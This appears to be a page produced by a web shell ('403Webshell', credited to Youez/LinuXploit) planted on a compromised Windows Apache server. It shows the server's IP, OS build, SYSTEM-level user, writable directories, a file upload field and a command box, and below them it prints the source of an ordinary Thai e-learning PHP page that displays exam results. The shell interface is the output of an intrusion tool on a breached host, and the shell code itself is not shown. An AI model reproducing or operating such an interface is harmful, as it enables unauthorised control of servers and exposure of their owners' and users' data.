403Webshell
Server IP : 172.67.187.206  /  Your IP : 172.71.28.155
Web Server : Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
System : Windows NT WIN-ECQAAA40806 6.2 build 9200 (Windows Server 2012 Standard Edition) i586
User : SYSTEM ( 0)
PHP Version : 5.6.30
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /Inetpub/www/news/elearning/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /Inetpub/www/news/elearning/exams_results.php
<?php
require './configs/app_top.php';
$title = "ผลการสอบ";
try {
  $sql = "select tr.`tr_subject_id`, s.`sb_name`, tr.`tr_total_question`, tr.`tr_correct_answer`, tr.`tr_time_taken`, tr.`tr_exam_date` "
          . "FROM " . TBL_TEST_RESULTS . " tr, " . TBL_SUBJECTS . " s WHERE 1 AND s.sb_id = tr.tr_subject_id AND tr.tr_user_id = :id ORDER BY tr.tr_exam_date DESC LIMIT 1 ";

  $stmt = $DB->prepare($sql);
  $stmt->bindValue(":id", safe_input($_SESSION["user_id"]));
  $stmt->execute();
  $results = $stmt->fetchAll();
} catch (Exception $ex) {
  echo $ex->getMessage();
}

include './includes/header.php';
?>
<div class="padding30"></div>
<?php if ($ERROR_TYPE <> "") { ?>
  <div class="col-6 center">
    <div class="alert alert-<?php echo $ERROR_TYPE; ?>">
      <button data-dismiss="alert" class="close" type="button">×</button>
      <?php echo $ERROR_MSG; ?>
    </div>
  </div>
<?php } ?>
<div class="clearfix"></div>
<div class="row">
  <div class="col-8 center">
    <h4>เสร็จสิ้นการสอบ</h4>
    <table class="table table-bordered table-condensed table-datatable table-hover">
        <tr>
          <td style="text-align: left;" width="50%">วิชา :</td>
          <td style="text-align: left;" width="50%"><?php echo safe_output($results[0]["sb_name"]); ?></td>
        </tr>
        <tr>
          <td style="text-align: left;">จำนวนข้อสอบ:</td>
          <td style="text-align: left;"><?php echo safe_output($results[0]["tr_total_question"]); ?></td>
        </tr>
        <tr>
          <td style="text-align: left;">ตอบถูก:</td>
          <td style="text-align: left;"><?php echo safe_output($results[0]["tr_correct_answer"]); ?></td>
        </tr>
        <tr>
          <td style="text-align: left;">ใช้เวลา:</td>
          <td style="text-align: left;"><?php echo safe_output($results[0]["tr_time_taken"]); ?></td>
        </tr>
         <tr>
          <td style="text-align: left;">คะแนนที่ได้:</td>
          <td style="text-align: left;">
            <?php $v = ($results[0]["tr_correct_answer"]/$results[0]["tr_total_question"])*100; echo round($v, 2)."%"; ?>
          </td>
        </tr>
      </table>
  </div>
</div>
<?php
include './includes/footer.php';
require './configs/app_bottom.php';
?>

Youez - 2016 - github.com/yon3zu
LinuXploit